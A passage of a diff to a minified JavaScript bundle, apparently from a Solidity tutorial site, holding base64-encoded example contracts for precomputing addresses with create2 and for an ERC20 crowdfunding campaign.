yBfb3duZXIsIHVpbnQyNTYgX2ZvbykgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgZm9vID0gX2ZvbzsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],gj=`

Contract address can be precomputed, before the contract is deployed, using create2

+`,tj=({prev:s,next:a})=>r.jsx(u,{version:nj,title:lj,description:pj,html:cj,prev:s,next:a,codes:ej}),oj="0.8.24",rj="Precompute Contract Address with Create2",ij="Precompute contract address with create2",gj=[{fileName:"Create2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveShhZGRyZXNzIF9vd25lciwgdWludDI1NiBfZm9vLCBieXRlczMyIF9zYWx0KQogICAgICAgIHB1YmxpYwogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIC8vIFRoaXMgc3ludGF4IGlzIGEgbmV3ZXIgd2F5IHRvIGludm9rZSBjcmVhdGUyIHdpdGhvdXQgYXNzZW1ibHksIHlvdSBqdXN0IG5lZWQgdG8gcGFzcyBzYWx0CiAgICAgICAgLy8gaHR0cHM6Ly9kb2NzLnNvbGlkaXR5bGFuZy5vcmcvZW4vbGF0ZXN0L2NvbnRyb2wtc3RydWN0dXJlcy5odG1sI3NhbHRlZC1jb250cmFjdC1jcmVhdGlvbnMtY3JlYXRlMgogICAgICAgIHJldHVybiBhZGRyZXNzKG5ldyBUZXN0Q29udHJhY3R7c2FsdDogX3NhbHR9KF9vd25lciwgX2ZvbykpOwogICAgfQp9CgovLyBUaGlzIGlzIHRoZSBvbGRlciB3YXkgb2YgZG9pbmcgaXQgdXNpbmcgYXNzZW1ibHkKY29udHJhY3QgRmFjdG9yeUFzc2VtYmx5IHsKICAgIGV2ZW50IERlcGxveWVkKGFkZHJlc3MgYWRkciwgdWludDI1NiBzYWx0KTsKCiAgICAvLyAxLiBHZXQgYnl0ZWNvZGUgb2YgY29udHJhY3QgdG8gYmUgZGVwbG95ZWQKICAgIC8vIE5PVEU6IF9vd25lciBhbmQgX2ZvbyBhcmUgYXJndW1lbnRzIG9mIHRoZSBUZXN0Q29udHJhY3QncyBjb25zdHJ1Y3RvcgogICAgZnVuY3Rpb24gZ2V0Qnl0ZWNvZGUoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIGJ5dGVzIG1lbW9yeSBieXRlY29kZSA9IHR5cGUoVGVzdENvbnRyYWN0KS5jcmVhdGlvbkNvZGU7CgogICAgICAgIHJldHVybiBhYmkuZW5jb2RlUGFja2VkKGJ5dGVjb2RlLCBhYmkuZW5jb2RlKF9vd25lciwgX2ZvbykpOwogICAgfQoKICAgIC8vIDIuIENvbXB1dGUgdGhlIGFkZHJlc3Mgb2YgdGhlIGNvbnRyYWN0IHRvIGJlIGRlcGxveWVkCiAgICAvLyBOT1RFOiBfc2FsdCBpcyBhIHJhbmRvbSBudW1iZXIgdXNlZCB0byBjcmVhdGUgYW4gYWRkcmVzcwogICAgZnVuY3Rpb24gZ2V0QWRkcmVzcyhieXRlcyBtZW1vcnkgYnl0ZWNvZGUsIHVpbnQyNTYgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKAogICAgICAgICAgICAgICAgYnl0ZXMxKDB4ZmYpLCBhZGRyZXNzKHRoaXMpLCBfc2FsdCwga2VjY2FrMjU2KGJ5dGVjb2RlKQogICAgICAgICAgICApCiAgICAgICAgKTsKCiAgICAgICAgLy8gTk9URTogY2FzdCBsYXN0IDIwIGJ5dGVzIG9mIGhhc2ggdG8gYWRkcmVzcwogICAgICAgIHJldHVybiBhZGRyZXNzKHVpbnQxNjAodWludDI1NihoYXNoKSkpOwogICAgfQoKICAgIC8vIDMuIERlcGxveSB0aGUgY29udHJhY3QKICAgIC8vIE5PVEU6CiAgICAvLyBDaGVjayB0aGUgZXZlbnQgbG9nIERlcGxveWVkIHdoaWNoIGNvbnRhaW5zIHRoZSBhZGRyZXNzIG9mIHRoZSBkZXBsb3llZCBUZXN0Q29udHJhY3QuCiAgICAvLyBUaGUgYWRkcmVzcyBpbiB0aGUgbG9nIHNob3VsZCBlcXVhbCB0aGUgYWRkcmVzcyBjb21wdXRlZCBmcm9tIGFib3ZlLgogICAgZnVuY3Rpb24gZGVwbG95KGJ5dGVzIG1lbW9yeSBieXRlY29kZSwgdWludDI1NiBfc2FsdCkgcHVibGljIHBheWFibGUgewogICAgICAgIGFkZHJlc3MgYWRkcjsKCiAgICAgICAgLyoKICAgICAgICBOT1RFOiBIb3cgdG8gY2FsbCBjcmVhdGUyCgogICAgICAgIGNyZWF0ZTIodiwgcCwgbiwgcykKICAgICAgICBjcmVhdGUgbmV3IGNvbnRyYWN0IHdpdGggY29kZSBhdCBtZW1vcnkgcCB0byBwICsgbgogICAgICAgIGFuZCBzZW5kIHYgd2VpCiAgICAgICAgYW5kIHJldHVybiB0aGUgbmV3IGFkZHJlc3MKICAgICAgICB3aGVyZSBuZXcgYWRkcmVzcyA9IGZpcnN0IDIwIGJ5dGVzIG9mIGtlY2NhazI1NigweGZmICsgYWRkcmVzcyh0aGlzKSArIHMgKyBrZWNjYWsyNTYobWVtW3DigKYocCtuKSkpCiAgICAgICAgICAgICAgcyA9IGJpZy1lbmRpYW4gMjU2LWJpdCB2YWx1ZQogICAgICAgICovCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBhZGRyIDo9CiAgICAgICAgICAgICAgICBjcmVhdGUyKAogICAgICAgICAgICAgICAgICAgIGNhbGx2YWx1ZSgpLCAvLyB3ZWkgc2VudCB3aXRoIGN1cnJlbnQgY2FsbAogICAgICAgICAgICAgICAgICAgIC8vIEFjdHVhbCBjb2RlIHN0YXJ0cyBhZnRlciBza2lwcGluZyB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBhZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgICAgIG1sb2FkKGJ5dGVjb2RlKSwgLy8gTG9hZCB0aGUgc2l6ZSBvZiBjb2RlIGNvbnRhaW5lZCBpbiB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBfc2FsdCAvLyBTYWx0IGZyb20gZnVuY3Rpb24gYXJndW1lbnRzCiAgICAgICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CgogICAgICAgIGVtaXQgRGVwbG95ZWQoYWRkciwgX3NhbHQpOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgZm9vID0gX2ZvbzsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],hj=`

Contract address can be precomputed, before the contract is deployed, using create2

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -613,7 +613,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         return address(this).balance;
     }
 }
-
`,hj=({prev:s,next:a})=>r.jsx(u,{version:tj,title:oj,description:rj,html:gj,prev:s,next:a,codes:ij}),dj="0.8.24",Ij="Crowd Fund",Cj="An example of crowd funding contract",jj=[{fileName:"CrowdFund.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0KCmNvbnRyYWN0IENyb3dkRnVuZCB7CiAgICBldmVudCBMYXVuY2goCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgY3JlYXRvciwKICAgICAgICB1aW50MjU2IGdvYWwsCiAgICAgICAgdWludDMyIHN0YXJ0QXQsCiAgICAgICAgdWludDMyIGVuZEF0CiAgICApOwogICAgZXZlbnQgQ2FuY2VsKHVpbnQyNTYgaWQpOwogICAgZXZlbnQgUGxlZGdlKHVpbnQyNTYgaW5kZXhlZCBpZCwgYWRkcmVzcyBpbmRleGVkIGNhbGxlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgVW5wbGVkZ2UodWludDI1NiBpbmRleGVkIGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBDbGFpbSh1aW50MjU2IGlkKTsKICAgIGV2ZW50IFJlZnVuZCh1aW50MjU2IGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgc3RydWN0IENhbXBhaWduIHsKICAgICAgICAvLyBDcmVhdG9yIG9mIGNhbXBhaWduCiAgICAgICAgYWRkcmVzcyBjcmVhdG9yOwogICAgICAgIC8vIEFtb3VudCBvZiB0b2tlbnMgdG8gcmFpc2UKICAgICAgICB1aW50MjU2IGdvYWw7CiAgICAgICAgLy8gVG90YWwgYW1vdW50IHBsZWRnZWQKICAgICAgICB1aW50MjU2IHBsZWRnZWQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIHN0YXJ0IG9mIGNhbXBhaWduCiAgICAgICAgdWludDMyIHN0YXJ0QXQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIGVuZCBvZiBjYW1wYWlnbgogICAgICAgIHVpbnQzMiBlbmRBdDsKICAgICAgICAvLyBUcnVlIGlmIGdvYWwgd2FzIHJlYWNoZWQgYW5kIGNyZWF0b3IgaGFzIGNsYWltZWQgdGhlIHRva2Vucy4KICAgICAgICBib29sIGNsYWltZWQ7CiAgICB9CgogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgdG9rZW47CiAgICAvLyBUb3RhbCBjb3VudCBvZiBjYW1wYWlnbnMgY3JlYXRlZC4KICAgIC8vIEl0IGlzIGFsc28gdXNlZCB0byBnZW5lcmF0ZSBpZCBmb3IgbmV3IGNhbXBhaWducy4KICAgIHVpbnQyNTYgcHVibGljIGNvdW50OwogICAgLy8gTWFwcGluZyBmcm9tIGlkIHRvIENhbXBhaWduCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gQ2FtcGFpZ24pIHB1YmxpYyBjYW1wYWlnbnM7CiAgICAvLyBNYXBwaW5nIGZyb20gY2FtcGFpZ24gaWQgPT4gcGxlZGdlciA9PiBhbW91bnQgcGxlZGdlZAogICAgbWFwcGluZyh1aW50MjU2ID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIHBsZWRnZWRBbW91bnQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIGxhdW5jaCh1aW50MjU2IF9nb2FsLCB1aW50MzIgX3N0YXJ0QXQsIHVpbnQzMiBfZW5kQXQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zdGFydEF0ID49IGJsb2NrLnRpbWVzdGFtcCwgInN0YXJ0IGF0IDwgbm93Iik7CiAgICAgICAgcmVxdWlyZShfZW5kQXQgPj0gX3N0YXJ0QXQsICJlbmQgYXQgPCBzdGFydCBhdCIpOwogICAgICAgIHJlcXVpcmUoX2VuZEF0IDw9IGJsb2NrLnRpbWVzdGFtcCArIDkwIGRheXMsICJlbmQgYXQgPiBtYXggZHVyYXRpb24iKTsKCiAgICAgICAgY291bnQgKz0gMTsKICAgICAgICBjYW1wYWlnbnNbY291bnRdID0gQ2FtcGFpZ24oewogICAgICAgICAgICBjcmVhdG9yOiBtc2cuc2VuZGVyLAogICAgICAgICAgICBnb2FsOiBfZ29hbCwKICAgICAgICAgICAgcGxlZGdlZDogMCwKICAgICAgICAgICAgc3RhcnRBdDogX3N0YXJ0QXQsCiAgICAgICAgICAgIGVuZEF0OiBfZW5kQXQsCiAgICAgICAgICAgIGNsYWltZWQ6IGZhbHNlCiAgICAgICAgfSk7CgogICAgICAgIGVtaXQgTGF1bmNoKGNvdW50LCBtc2cuc2VuZGVyLCBfZ29hbCwgX3N0YXJ0QXQsIF9lbmRBdCk7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKHVpbnQyNTYgX2lkKSBleHRlcm5hbCB7CiAgICAgICAgQ2FtcGFpZ24gbWVtb3J5IGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShjYW1wYWlnbi5jcmVhdG9yID09IG1zZy5zZW5kZXIsICJub3QgY3JlYXRvciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgY2FtcGFpZ24uc3RhcnRBdCwgInN0YXJ0ZWQiKTsKCiAgICAgICAgZGVsZXRlIGNhbXBhaWduc1tfaWRdOwogICAgICAgIGVtaXQgQ2FuY2VsKF9pZCk7CiAgICB9CgogICAgZnVuY3Rpb24gcGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY2FtcGFpZ24uc3RhcnRBdCwgIm5vdCBzdGFydGVkIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkICs9IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdICs9IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwoKICAgICAgICBlbWl0IFBsZWRnZShfaWQsIG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVucGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkIC09IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CgogICAgICAgIGVtaXQgVW5wbGVkZ2UoX2lkLCBtc2cuc2VuZGVyLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbGFpbSh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIHN0b3JhZ2UgY2FtcGFpZ24gPSBjYW1wYWlnbnNbX2lkXTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLmNyZWF0b3IgPT0gbXNnLnNlbmRlciwgIm5vdCBjcmVhdG9yIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPiBjYW1wYWlnbi5lbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoY2FtcGFpZ24ucGxlZGdlZCA+PSBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA8IGdvYWwiKTsKICAgICAgICByZXF1aXJlKCFjYW1wYWlnbi5jbGFpbWVkLCAiY2xhaW1lZCIpOwoKICAgICAgICBjYW1wYWlnbi5jbGFpbWVkID0gdHJ1ZTsKICAgICAgICB0b2tlbi50cmFuc2ZlcihjYW1wYWlnbi5jcmVhdG9yLCBjYW1wYWlnbi5wbGVkZ2VkKTsKCiAgICAgICAgZW1pdCBDbGFpbShfaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlZnVuZCh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIG1lbW9yeSBjYW1wYWlnbiA9IGNhbXBhaWduc1tfaWRdOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID4gY2FtcGFpZ24uZW5kQXQsICJub3QgZW5kZWQiKTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLnBsZWRnZWQgPCBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA+PSBnb2FsIik7CgogICAgICAgIHVpbnQyNTYgYmFsID0gcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdOwogICAgICAgIHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYmFsKTsKCiAgICAgICAgZW1pdCBSZWZ1bmQoX2lkLCBtc2cuc2VuZGVyLCBiYWwpOwogICAgfQp9Cg=="}],uj=`

Crowd fund ERC20 token

+`,Ij=({prev:s,next:a})=>r.jsx(u,{version:oj,title:rj,description:ij,html:hj,prev:s,next:a,codes:gj}),dj="0.8.24",Cj="Crowd Fund",jj="An example of crowd funding contract",uj=[{fileName:"CrowdFund.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0KCmNvbnRyYWN0IENyb3dkRnVuZCB7CiAgICBldmVudCBMYXVuY2goCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgY3JlYXRvciwKICAgICAgICB1aW50MjU2IGdvYWwsCiAgICAgICAgdWludDMyIHN0YXJ0QXQsCiAgICAgICAgdWludDMyIGVuZEF0CiAgICApOwogICAgZXZlbnQgQ2FuY2VsKHVpbnQyNTYgaWQpOwogICAgZXZlbnQgUGxlZGdlKHVpbnQyNTYgaW5kZXhlZCBpZCwgYWRkcmVzcyBpbmRleGVkIGNhbGxlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgVW5wbGVkZ2UodWludDI1NiBpbmRleGVkIGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBDbGFpbSh1aW50MjU2IGlkKTsKICAgIGV2ZW50IFJlZnVuZCh1aW50MjU2IGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgc3RydWN0IENhbXBhaWduIHsKICAgICAgICAvLyBDcmVhdG9yIG9mIGNhbXBhaWduCiAgICAgICAgYWRkcmVzcyBjcmVhdG9yOwogICAgICAgIC8vIEFtb3VudCBvZiB0b2tlbnMgdG8gcmFpc2UKICAgICAgICB1aW50MjU2IGdvYWw7CiAgICAgICAgLy8gVG90YWwgYW1vdW50IHBsZWRnZWQKICAgICAgICB1aW50MjU2IHBsZWRnZWQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIHN0YXJ0IG9mIGNhbXBhaWduCiAgICAgICAgdWludDMyIHN0YXJ0QXQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIGVuZCBvZiBjYW1wYWlnbgogICAgICAgIHVpbnQzMiBlbmRBdDsKICAgICAgICAvLyBUcnVlIGlmIGdvYWwgd2FzIHJlYWNoZWQgYW5kIGNyZWF0b3IgaGFzIGNsYWltZWQgdGhlIHRva2Vucy4KICAgICAgICBib29sIGNsYWltZWQ7CiAgICB9CgogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgdG9rZW47CiAgICAvLyBUb3RhbCBjb3VudCBvZiBjYW1wYWlnbnMgY3JlYXRlZC4KICAgIC8vIEl0IGlzIGFsc28gdXNlZCB0byBnZW5lcmF0ZSBpZCBmb3IgbmV3IGNhbXBhaWducy4KICAgIHVpbnQyNTYgcHVibGljIGNvdW50OwogICAgLy8gTWFwcGluZyBmcm9tIGlkIHRvIENhbXBhaWduCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gQ2FtcGFpZ24pIHB1YmxpYyBjYW1wYWlnbnM7CiAgICAvLyBNYXBwaW5nIGZyb20gY2FtcGFpZ24gaWQgPT4gcGxlZGdlciA9PiBhbW91bnQgcGxlZGdlZAogICAgbWFwcGluZyh1aW50MjU2ID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIHBsZWRnZWRBbW91bnQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIGxhdW5jaCh1aW50MjU2IF9nb2FsLCB1aW50MzIgX3N0YXJ0QXQsIHVpbnQzMiBfZW5kQXQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zdGFydEF0ID49IGJsb2NrLnRpbWVzdGFtcCwgInN0YXJ0IGF0IDwgbm93Iik7CiAgICAgICAgcmVxdWlyZShfZW5kQXQgPj0gX3N0YXJ0QXQsICJlbmQgYXQgPCBzdGFydCBhdCIpOwogICAgICAgIHJlcXVpcmUoX2VuZEF0IDw9IGJsb2NrLnRpbWVzdGFtcCArIDkwIGRheXMsICJlbmQgYXQgPiBtYXggZHVyYXRpb24iKTsKCiAgICAgICAgY291bnQgKz0gMTsKICAgICAgICBjYW1wYWlnbnNbY291bnRdID0gQ2FtcGFpZ24oewogICAgICAgICAgICBjcmVhdG9yOiBtc2cuc2VuZGVyLAogICAgICAgICAgICBnb2FsOiBfZ29hbCwKICAgICAgICAgICAgcGxlZGdlZDogMCwKICAgICAgICAgICAgc3RhcnRBdDogX3N0YXJ0QXQsCiAgICAgICAgICAgIGVuZEF0OiBfZW5kQXQsCiAgICAgICAgICAgIGNsYWltZWQ6IGZhbHNlCiAgICAgICAgfSk7CgogICAgICAgIGVtaXQgTGF1bmNoKGNvdW50LCBtc2cuc2VuZGVyLCBfZ29hbCwgX3N0YXJ0QXQsIF9lbmRBdCk7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKHVpbnQyNTYgX2lkKSBleHRlcm5hbCB7CiAgICAgICAgQ2FtcGFpZ24gbWVtb3J5IGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShjYW1wYWlnbi5jcmVhdG9yID09IG1zZy5zZW5kZXIsICJub3QgY3JlYXRvciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgY2FtcGFpZ24uc3RhcnRBdCwgInN0YXJ0ZWQiKTsKCiAgICAgICAgZGVsZXRlIGNhbXBhaWduc1tfaWRdOwogICAgICAgIGVtaXQgQ2FuY2VsKF9pZCk7CiAgICB9CgogICAgZnVuY3Rpb24gcGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY2FtcGFpZ24uc3RhcnRBdCwgIm5vdCBzdGFydGVkIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkICs9IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdICs9IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwoKICAgICAgICBlbWl0IFBsZWRnZShfaWQsIG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVucGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkIC09IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CgogICAgICAgIGVtaXQgVW5wbGVkZ2UoX2lkLCBtc2cuc2VuZGVyLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbGFpbSh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIHN0b3JhZ2UgY2FtcGFpZ24gPSBjYW1wYWlnbnNbX2lkXTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLmNyZWF0b3IgPT0gbXNnLnNlbmRlciwgIm5vdCBjcmVhdG9yIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPiBjYW1wYWlnbi5lbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoY2FtcGFpZ24ucGxlZGdlZCA+PSBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA8IGdvYWwiKTsKICAgICAgICByZXF1aXJlKCFjYW1wYWlnbi5jbGFpbWVkLCAiY2xhaW1lZCIpOwoKICAgICAgICBjYW1wYWlnbi5jbGFpbWVkID0gdHJ1ZTsKICAgICAgICB0b2tlbi50cmFuc2ZlcihjYW1wYWlnbi5jcmVhdG9yLCBjYW1wYWlnbi5wbGVkZ2VkKTsKCiAgICAgICAgZW1pdCBDbGFpbShfaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlZnVuZCh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIG1lbW9yeSBjYW1wYWlnbiA9IGNhbXBhaWduc1tfaWRdOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID4gY2FtcGFpZ24uZW5kQXQsICJub3QgZW5kZWQiKTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLnBsZWRnZWQgPCBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA+PSBnb2FsIik7CgogICAgICAgIHVpbnQyNTYgYmFsID0gcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdOwogICAgICAgIHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYmFsKTsKCiAgICAgICAgZW1pdCBSZWZ1bmQoX2lkLCBtc2cuc2VuZGVyLCBiYWwpOwogICAgfQp9Cg=="}],Aj=`

Crowd fund ERC20 token

  1. User creates a campaign.
  2. Users can pledge, transferring their token to a campaign.
